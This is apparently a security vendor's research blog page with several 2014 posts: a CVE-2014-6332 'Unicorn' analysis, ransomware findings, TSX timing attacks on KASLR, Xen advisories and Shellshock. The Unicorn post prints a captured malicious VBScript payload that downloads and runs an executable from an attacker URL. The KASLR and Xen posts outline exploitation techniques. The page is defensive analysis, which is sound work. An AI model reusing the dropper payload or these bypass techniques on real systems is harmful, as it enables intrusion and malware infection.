Skip to content
December 4, 2014 / Mantej Singh Rajpal

CVE-2014-6332: Life is all Rainbows and Unicorns

Though just patched earlier this month, the CVE-2014-6332 vulnerability shares it’s age with Yahoo, Neopets, and the hit TV show, Friends. This Windows vulnerability, also known as the “Unicorn” bug, has been exploited in the wild with help of a Visual Basic Script. It impacts almost every version of Microsoft Windows from Windows 95 onwards, and can be exploited in Internet Explorer versions 3 to 11, inclusive. This complex vulnerability gets its name from being extremely rare, somewhat like a unicorn. After all, it’s not every day you come across a unicorn galloping through your front yard.

A lot has already been said about this vulnerability. The bug is caused due to the IE VBScript engine not handling re-sizing an array properly. By abusing this, one can achieve remote code execution, bypassing protections such as DEP and ASLR. To explain the vulnerability in a nutshell – there exists a control flow such that if you request to re-size an array and an error occurs (e.g. OutOfMemoryError), the new size will be maintained (as opposed to being reset). After triggering the vulnerability, you will be able to access the out-of-bound elements of the array. The exploit then uses this vulnerability to perform type confusion. Original IBM Security Intelligence article describes the bug in great detail and a Trendmicro blog walks through the PoC.

Once type confusion is achieved, one could adopt Yang Yu’s approach to leak memory addresses using BSTR. An attacker would just need to change the array’s element type to BSTR and then corrupt its header. This will essentially allow any memory address to be leaked, thus, easily allowing an attacker to determine the location of COleScript – an object holding safety flags for the VB interpreter. Normally, some VB functionality, such as file system interaction and program launching, is restricted in the browser. However, resetting the respective flag allows an attacker to operate within IE as if it was a standalone VB shell.

In fact, the PoC is so straightforward that using it is trivial – one just needs to swap in their VB payload and it’s ready to ship for exploit kits and drive-by campaigns. Last week, we got hold of a Fiddler capture of a malicious web page exploiting this vulnerability.

The VB payload was obfuscated and hidden in a JavaScript snippet on the same page:


The de-obfuscated payload looks like this:

  set shell=createobject("Shell.Application")
  shell.ShellExecute "cmd.exe", " /c echo Set Post = CreateObject(""Msxml2.XMLHTTP"")
  >> c:\\nb.vbs & echo Set Shell = CreateObject(""Wscript.Shell"")
  >> c:\\nb.vbs & echo Post.Open ""GET"", "&nbnburl&" ,0
  >> c:\\nb.vbs & echo Post.Send()
  >> c:\\nb.vbs & echo Set aGet = CreateObject(""ADODB.Stream"")
  >> c:\\nb.vbs & echoaGet.Mode = 3
  >> c:\\nb.vbs & echo aGet.Type = 1
  >> c:\\nb.vbs & echo aGet.Open()
  >> c:\\nb.vbs & echo aGet.Write(Post.responseBody)
  >> c:\\nb.vbs & echo aGet.SaveToFile ""c:\\zl.exe"",2
  >> c:\\nb.vbs & echo wscript.sleep 1000
  >> c:\\nb.vbs & echo Shell.Run (""c:\\zl.exe"")
  >> c:\\nb.vbs & echo Set fsox = CreateObject(""Scripting.Filesystemobject"")
  >> c:\\nb.vbs & echo fsox.DeleteFile(WScript.ScriptFullName)
  >> c:\\nb.vbs & c:\\nb.vbs"

After the payload launches a shell, it connects to nbnburl (a link to a malicious exe). The server response is saved in the C:\ drive as zl.exe, which is then executed.

It should be noted that during our testing phase, the exploit didn’t work every single time. We conducted a series of experiments where we ran our exploit 25 times, and recorded how many runs resulted in a shell. Our observations indicate success rates ranging from 8/25 to 25/25. Of course, a better experiment could be designed, offering more statistically accurate results. In our case, we were testing to see if the exploit was 100% stable. Turns out, it isn’t. The one exception is IE 11 with enhanced protected mode, which thwarted the Unicorn exploit 25/25 times! EPM is disabled by default due to several compatibility issues, so users must manually enable it under Settings->Internet Options->Advanced, and check “Enable Enhanced Protected Mode” under Security.

For Bromium customers, this attack isn’t any different from other drive-by-downloads – the attack will be isolated and the following LAVA graph will be recorded:


This bug really is a special one — it’s reasonably stable, it is able to bypass the security mechanisms implemented in the latest Windows system, and it doesn’t require any 3rd party plugins (such as Java Runtime). Therefore, the impact factor is going to be enormous since it’s unlikely that all users will instantly update their systems.

The question now is, wouldn’t it be safer to simply disable all backwards compatibility features and get rid of the legacy software? The easy answer is yes, but if we scrutinize this matter a bit we can see that it’s not that straightforward. Backwards compatibility is there for a reason – if a software update changes the workflow of an application, users must be given an option to return to their old setup. This minimizes failures that could be caused by the patches.

Unfortunately, there’s no easy solution, and software update management is a huge problem today. Isolation is one viable way to address this issue.

November 19, 2014 / Vadim Kotov

Would you like some encryption with your turkey?

Crypto-ransomware continues to grow and mutate. Yet another family popped up the other day called CoinVault. Like Cryptographic Locker this one is a .NET application although not as advanced as Cryptolocker or Cryptowall, but it apparently does its job reasonably well.
We were wondering recently are there any trends in crypto-ransomware, how does the threat evolves over time and is there any connection between the gangs? So we wrote a report that summarizes our analysis of six ransom Trojans:

  • Dirty Decrypt
  • CryptoLocker
  • CryptoWall / CryptoDefense
  • Critroni/CTB Locker
  • TorrentLocker
  • Cryptographic Locker

We looked at nearly 30 samples and here are the main findings of the research:

  • The latest families target a huge number of enterprise file formats from documents and images to CAD files and financial data instead of just common consumer file types.
  • Crypto-ransomware uses every possible attack vector to get into victim machines.
  • Samples analyzed use fairly complex obfuscation and covert launch techniques that allow them to evade detection on early stages of infection.
  • Communication with command and control servers is encrypted and extremely hard to spot in the network traffic.
  • Cryptography used in the samples analyzed is for the most part implemented correctly and encrypted files are impossible to recover without a key.
  • All recent ransomware accepts payments in Bitcoins only. Apparently there’s a good way of laundering BTC or maybe even a service on the black market.
  • Crypto-ransomware matures and evolves from version to version, additional features are added to ensure that files are impossible to recover (e.g. deleting shadow copies) and flaws are getting fixed.

This threat won’t go away, as long as people pay the ransom, new ransomware families will appear. For the detailed analysis of the aforementioned families read the full report.

Bromium customers should not worry about this threat since we’re able to isolate crypto-ransomware and prevent it from accessing the file system. If a crypto-enabled piece of malware successfully executes inside the micro VM LAVA will produce an attack graph that looks like this:



LAVA provides full details of the ransomware activity, the vector used to attack the system and the location of the attackers C&C server. We will continue to track developments with these types of attacks and will provide additional information as it becomes available.

October 27, 2014 / Rafal Wojtczuk

TSX improves timing attacks against KASLR

Mega biblion mega kakon…

… and similarly a long blog is a nuisance, so I managed to squeeze the essence of it into a single sentence, the title. If it is not entirely clear, read on.


A typical privilege escalation exploit based on a kernel vulnerabilit yworks by corrupting the kernel memory in a way advantageous for an attacker. Two scenarios are possible:

  1. arbitrary code execution in kernel mode
  2. data-only; just alter kernel memory so that privileges are elevated (e.g. change the access token of the current process)

Usually, the first method is most straightforward, and most flexible. With SMEP enabled, attacker cannot just divert kernel execution into code stored in usermode pages; more work is needed, a generic method being ROP in kernel body.

Kernel ASLR

Usually, both above methods require some knowledge about kernel memory layout. Particularly, in order to build a ROP chain in kernel body, we need to know the base of the kernel or a driver. In windows 8.1 significant changes were introduced to not give to the attacker the memory layout for free. They affect only processes running with integrity level lower than medium, but it is the most interesting case, as OS-based sandboxes encapsulate untrusted code in such a process. The effectiveness of Windows 8.1 KALSR depends on the type of vulnerability primitive available to the attacker:

  1. If one can read and write arbitrary address with arbitrary contents multiple times, there is no problem, as one can learn the full memory layout.
  2. If one can overwrite arbitrary address with arbitrary content at least twice, then a generic method is to overwrite the IDT entry for interrupt Y with usermode address X (note IDT base can be obtained via unprivileged sidt instruction), and then change the type of page holding X so that it becomes a superuser page (possible because page table entries are at known location). Finally, trigger code execution with int Y instruction. I assume it is message of this post, although they do not discuss how to locate a kernel code pointer (meaning, beat KASLR) that subsequently should be overwritten. In some cases we do not need to know the address of the kernel code pointer, e.g. if it lives in an area that we can overflow or alter under use-after-free condition.
  3. If one can just control a kernel function pointer, then… We can divert execution neither to usermode (because of SMEP) nor to kernelmode (because of KASLR we do not know addresses of any ROP gadget). Any hints?

Recently I played with a vulnerability from the third category, and (at least for me) KASLR provided significant resistance. It can be argued that there is potential for kernel bugs that leak some pointers and thus allow to bypass KASLR, but something more generic would be better.

Timing attacks against KASLR

An excellent paper describes methods to bypass KASLR via timing attacks. One of the discussed methods is: in usermode, access kernel address X, and measure the time elapsed until the usermode exception handler is invoked. The point is that even though usermode access to X throws a page fault regardless whether X is in mapped kernel memory or not, the timings are different. When we recover the list of mapped pages, we can infer the kernel base (or some driver base) and consequently the addresses of useful code snippets in it – all we need to build a ROP chain.

Timing attacks need to take care of the inherent noise. Particularly, on Windows invoking the usermode exception handler requires a lot of CPU instructions, and the difference in timing can be difficult to observe. It would be much better if the probing did not result in the whole kernel page fault handler executing. Any hints?

TSX to the rescue

Haswell Intel CPUs introduced the “transactional synchronization extensions”. It means than only recent CPUs support them; moreover, Intel recommends disabling them via microcode update, as they are apparently not reliable. Yet we may assume that someday they will be fixed and become widespread.

TSX makes kernel address probing much faster and less noisy. If an instruction executed within XBEGIN/XEND block (in usermode) tries to access kernel memory, then no page fault is raised – instead transaction abort happens, so execution never leaves usermode. On my i7-4800MQ CPU, the relevant timings, in CPU cycles, are (minimal/average/variance, 2000 probes, top half of results discarded):

  1. access in TSX block to mapped kernel memory: 172 175 2
  2. access in TSX block to unmapped kernel memory: 200 200 0
  3. access in __try block to mapped kernel memory: 2172 2187 35
  4. access in __try block to unmapped kernel memory: 2192 2213 57

The difference is visible with naked eye; an attack using TSX is much simpler and faster.

Two points as a take-away:

  1. KASLR can be bypassed in an OS-independed way; this post describes how the existing techniques can be improved utilizing TSX instructions.
  2. The attack is possible because of shared address space between kernel and usermode. Hypervisor has a separate address space, and therefore it is not prone to similar attacks.
October 1, 2014 / Rafal Wojtczuk

Musings on the recent Xen Security Advisories

As all careful readers of this blog certainly know, the Bromium vSentry hypervisor (uXen) has been derived from Xen. It means parts of the codebase are shared between the two projects, and vulnerabilities found in Xen sometimes are relevant for uXen. The two recent Xen Security Advisories, XSA-105 and XSA-108, are not particularly severe (at least for vSentry), but feature interesting details related to generic hypervisor hardening that are worth discussing. One may wish to read the original Xen advisories before proceeding.


The title of advisory is “Missing privilege level checks in x86 HLT, LGDT, LIDT, and LMSW emulation”. The impact (for Xen) is ability of an unprivileged VM usermode to elevate to VM kernel.
In some scenarios when CPU cannot execute an instruction in a VM properly (because e.g. this instruction touches memory-mapped register, and has device-specific side effect) Xen emulates the instruction. The problem is that the code responsible for emulating the above instructions did not check whether CPU was in kernel mode. Particularly LGDT and LIDT are normally available for kernel mode only, as they change the crucial CPU registers. Because of the vulnerability, user process in a VM (even one with very low privileges, e.g. Untrusted integrity level in case
of Windows) could effectively execute LIDT or LGDT and take full control over VM.

Exploitation is straightforward in case of Windows 7, one can just create a fake IDT table in usermode, and kernel will transfer control to attacker’s code (residing in usermode pages) upon the first interrupt. On Windows 8 running on CPU featuring SMEP, attacker needs a bit more work and create a ROP chain in kernel – fortunately for an attacker, at the entry to the [software] interrupt handler, all general-purpose registers are controllable, so it is easy to achieve the stack pivot.

It is remarkable that in fact, no sane OS needs support of emulation of these instructions in normal circumstances. Still, a complete emulator imported into Xen is available throughout VM’s lifetime, resulting in a vulnerability. In the early days of uXen development, it was recognized that the emulator constitutes an attack vector, and a conscious effort was made to reduce the number of supported instructions. Therefore, uXen is not vulnerable – when an exploit is run in a vSetry microVM, the emulation is denied (with a message
(uXEN) c:/br/bld/uxen/xen/uxen/arch/x86/x86_emulate/x86_emulate.c:1383:d187 instruction emulation restricted for twobyte-instruction 0x1
in the logs) and the microVM is killed.

To sum up, Xen users should worry about this vulnerability if they run untrusted code in their VMs (think sandboxed code) and care about privilege elevation within VM. uXen is not affected.


The title of the advisory is “Improper MSR range used for x2APIC emulation”. The impact is that a malicious VM kernel can crash Xen or read up to 3K of its memory, from an address that is not under control of an attacker.

The root cause is that the code responsible for emulation of access to local APIC registers in x2APIC mode supported 1024 registers, but allocated buffer space for 256 registers only. If a write access (by wrmsr instruction) is requested by VM, no harm is done, as only a limited number of known registers are actually emulated. On the other hand, the code implementing read access emulation just reads from the vlapic->regs buffer (that is one page long), at an offset controlled by the attacker (must be less than 16K).
Consequently, memory located up to 12K after the vlapic->regs buffer is read and returned to the VM. More precisely, 4byte-long integers located at 16bytes-aligned addresses can be read. If the virtual addresses adjacent to vlapic->regs buffer are unmapped, this results in Xen crash; if they are mapped, their contents leak to the VM.

The vulnerable code is present in uXen. uXen uses a specialized memory manager (dubbed memcache”), that preallocates a large contiguous virtual memory range for the purpose of mapping VM-related pages. As a result, uXen crash is unlikely, it can happen only when the vlapic->regs buffer is mapped near the end of the memcache.
Similarly, the information leak is somewhat restricted – memcache stores only pages allocated for uXen purposes, therefore (if we neglect the unlikely “end of memcache” scenario) there is no possibility that unrelated host’s kernel memory can leak to the microVM. In the common case, memcache assigns consecutive virtual addresses for mapping of subsequent page allocations. During microVM setup, the order of allocation is such that the three pages allocated
immediately after vlapic->regs allocation store VMCS, VMCS shadow and MSR bitmap pages. Therefore, in the common case, all the atacker can achieve is leaking lower 32 bits of pointers from VMCS, which might help to deduce the ALSR layout of the host kernel. This is not a catastrophic problem in itself, but it can aid in exploitation of another unrelated vulnerability. In a corner case when microVM creation races with heavy map/unmap operations done on other microVM’s memory, this memory would leak to the attacker as well.

To sum up, this vulnerability has potential for crashing the whole hypervisor or leaking limited amount of data from hypervisor.. This is not very severe impact, although if one runs multiple VMs of different origin on the same host and is very serious about possibility of leaking data (even small amount from an location not controlled by an attacker) from one VM to another, prompt patching is justified. Interestingly, there was quite some concern in the media about this vulnerability, but it was clearly overhyped.

Interestingly, vSentry microVMs use xAPIC mode, not in x2APIC mode. The vulnerability can be exploited only in x2APIC mode. It means that an attacker needs to enable x2APIC mode first. However, this results in microVM OS being unable to use APIC, and hang in IPI processing. In order to exploit this vulnerability repeatedly for more than a few seconds, attacker would need to patch VM OS to use APIC in x2APIC mode, which is far from trivial, yet imaginable.
It also means we missed a generic hardening opportunity – we should support only a single APIC mode. There is still room for improvement, but considering that since the release of the first vSentry version there was no vulnerability in Xen allowing for escape from VM that would affect us, it looks we have done a fairly decent job.

September 26, 2014 / Jared DeMott

The Mysterious Life of Benjamin Bash

In a time of shaggy beards, thick glasses, and bell bottomed trousers, was Bourne[i] a way to command the beasty called Unix.  But as is always the way with humans, enough is never enough.  As such, a fancier champion Bashed[ii] onto the scene.  And for many years, Mr. Benjamin Bash served rich and poor alike, in the kitchens of Apache[iii] and countless other dens[iv].

Now as always, dragon slayers[v] comb our lands, searching for kingdom weaknesses.  And of course, our faithful Mr. Bash was never considered a fault.  But his obscure injection[vi] wouldn’t lie dormant forever.  Nay!  One brave warrior, Sir Chazelas[vii], discovered that when ye place an order with lovely CGI[viii] maids, one can also pass an environment[ix] note, which causes Mr. Bash to do unexpected things.  Indeed, in vulnerable establishments, Bash will do whatever ye ask[x].  Even hand over the keys to the castle!  Aye, it’s a sad affair, with grave consequences[xi].

But take heart laddie, and listen up.  We’ve vital information.  Examine the following attack:


The smart student would note that for the agent of doom to achieve its nefarious function[xii], some key bits must transfer across our moat[xiii].  The evil parts of the message are the letters “() {“.  I say, our border guards[xiv] should be informed about the matter.  And better yet, we should hastily patch[xv] Mr. Bash to insure he acts properly, and ignores such outsider suggestions.  Sadly some of our smaller holds[xvi] may not receive the message for some time, if ever.

So, with this unsavory matter behind, the mysterious life of Mr. Bash goes on.  But the enemy forces are wily.  They’re schemin’ and plotting as always.  I say let’s do a thorough run down of our defenses, check the checkers, and make sure we’re ready when next our dastardly foo return.


Protip: Article best read aloud with a pint and a thick Irish or Scottish accent

















September 16, 2014 / Vadim Kotov

Pirates of the Internetz: The curse of the waterhole

Pirates of the Internetz

Last week the Bromium Labs team was contacted by a Fortune 1000 customer that detected an interesting attack via one of their installed LAVA sensors. We get such events frequently from our customers; however this attack was a bit different. The attack was a classic waterhole attack targeting potential viewers of a technology startup in the Oil and Gas sector. Interestingly, this attack occurred days after the company announced a sizable funding grant. It’s likely that the attackers were expecting more traffic to the website and hoped to increase their chances of a successful infection. The names of the companies involved are redacted and they have confirmed that the infection has been remediated and both have confirmed that no sensitive information was leaked.

Attacks on the ONG sector are not new and attacks targeting companies in this sector might be premeditated. Bromium Labs is working with the target and we’ll update the blog if there’s any significant development.

The event we received was dated 09/04/2014. The alert produced the following malware graph which confirms the infection, at a glance (click to enlarge):

LAVA Graph

After analyzing the captured forensic evidence, we found some interesting traits.

Read more…

August 11, 2014 / Rafal Wojtczuk

Black Hat USA 2014 talk about hypervisor security

This week I presented at Black Hat USA. The talk is titled “Poacher turned gatekeeper: lessons learned from eight years of breaking hypervisors”. The main points were:

  • Describe the attack surface of Type 1 and Type 2 hypervisors
  • Show that despite not being 100% bulletproof, hypervisors are still the best usable way to isolate potentially malicious code
  • Describe a few generic methods to harden a hypervisor
  • Discuss four new VirtualBox vulnerabilities
  • Discuss DMA attacks against DeepSafe

The whitepaper is here, enjoy.


Get every new post delivered to your Inbox.

Join 45 other followers